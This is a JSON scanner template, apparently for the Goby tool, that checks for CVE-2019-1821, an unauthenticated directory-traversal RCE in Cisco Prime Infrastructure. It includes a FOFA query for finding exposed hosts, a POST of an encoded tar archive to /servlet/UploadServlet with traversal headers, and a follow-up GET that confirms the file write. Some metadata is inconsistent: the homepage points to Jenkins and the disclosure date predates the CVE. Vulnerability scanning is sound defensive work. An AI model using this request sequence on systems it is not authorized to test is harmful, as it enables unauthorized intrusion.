{
  "Name": "cisco prime infrastructure unauthorized RCE(CVE-2019-1821)",
  "Description": "Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability",
  "Product": "Cisco Prime Infrastructure",
  "Homepage": "http://jenkins-ci.org",
  "DisclosureDate": "2018-12-26",
  "Author": "LubyRuffy",
  "FofaQuery": "body=\"xwtProductName\" \u0026\u0026 body=\"Cisco Prime Infrastructure\"",
  "GobyQuery": "",
  "Level": "3",
  "Impact": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Cisco Prime Infrastructure. Authentication is not required to exploit this vulnerability.\nThe specific flaw exists within the TarArchive class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code under the context of root.",
  "Recommendation": "Cisco has issued an update to correct these vulnerabilities. More details can be found at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce",
  "References": [
    "https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-1821",
    "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce",
    "http://packetstormsecurity.com/files/153350/Cisco-Prime-Infrastructure-Health-Monitor-TarArchive-Directory-Traversal.html",
    "http://www.securityfocus.com/bid/108339",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1821"
  ],
  "HasExp": false,
  "ExpParams": [],
  "ExpTips": {
    "Type": "Tips",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "[encoded data, 20770 characters]",
        "data_type": "hexstring",
        "header": {
          "Compressed-Archive": "false",
          "Content-Length": "10385",
          "Content-Type": "multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83",
          "Destination-Dir": "tftpRoot",
          "Filecount": "1",
          "Filename": "test.tar",
          "Filesize": "10240",
          "Primary-IP": "127.0.0.1"
        },
        "method": "POST",
        "uri": "/servlet/UploadServlet"
      },
      "ResponseTest": {
        "checks": [
          {
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "https://{{{host}}}/test.txt"
      },
      "ResponseTest": {
        "checks": [
          {
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "operation": "==",
            "type": "item",
            "value": "test",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
      "SetVariable": []
    }
  ],
  "Tags": [
    "unauthorized",
    "rce"
  ],
  "CVEIDs": [
    "CVE-2019-1821"
  ],
  "CVSSScore": "9.8"
}